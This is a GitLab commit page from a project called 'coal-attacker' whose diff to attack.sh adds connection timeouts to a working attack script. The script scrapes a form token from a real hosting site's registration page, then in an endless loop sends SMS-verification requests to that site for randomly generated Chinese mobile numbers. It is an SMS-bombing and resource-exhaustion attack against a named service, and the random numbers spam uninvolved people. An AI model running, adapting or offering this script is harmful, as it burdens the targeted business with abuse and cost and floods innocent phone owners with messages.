Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Keyboard shortcuts
?
Submit feedback
Sign in / Register
Toggle navigation
C
coal-attacker
Project overview
Project overview
Details
Activity
Releases
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Locked Files
Issues
0
Issues
0
List
Boards
Labels
Service Desk
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Security & Compliance
Security & Compliance
Dependency List
License Compliance
Packages
Packages
List
Container Registry
Analytics
Analytics
CI / CD
Code Review
Insights
Issues
Repository
Value Stream
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
nanahira
coal-attacker
Commits
d67ec1d0
Commit
d67ec1d0
authored
Apr 09, 2021
by
nanahira
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
fix timeout
parent
6e392c97
Pipeline
#2892
passed with stages
in 2 minutes and 9 seconds
Changes
1
Pipelines
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
2 additions
and
2 deletions
+2
-2
attack.sh
attack.sh
+2
-2
No files found.
attack.sh
View file @
d67ec1d0
#!/bin/bash
#!/bin/bash
_attack
()
{
_attack
()
{
mobile
=
13
$((
RANDOM
%
9000
+
1000
))$((
RANDOM
%
90000
+
10000
))
mobile
=
13
$((
RANDOM
%
9000
+
1000
))$((
RANDOM
%
90000
+
10000
))
token
=
$(
curl
-sL
'https://www.coalcloud.net/register.php'
|
grep
-oP
'<input type="hidden" name="token" value="[a-z0-9]+" />'
|
sed
's/<input type="hidden" name="token" value="//g;s/" \/>//g'
)
token
=
$(
curl
-sL
--connect-timeout
30
'https://www.coalcloud.net/register.php'
|
grep
-oP
'<input type="hidden" name="token" value="[a-z0-9]+" />'
|
sed
's/<input type="hidden" name="token" value="//g;s/" \/>//g'
)
curl
-sL
-X
POST
'https://www.coalcloud.net/modules/addons/SMS_Verification/action.php?action=send'
-d
"phone=
$mobile
"
-d
"token=
$token
"
| jq
curl
-sL
-
-connect-timeout
30
-
X
POST
'https://www.coalcloud.net/modules/addons/SMS_Verification/action.php?action=send'
-d
"phone=
$mobile
"
-d
"token=
$token
"
| jq
}
}
for
((
;;
))
;
do
for
((
;;
))
;
do
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment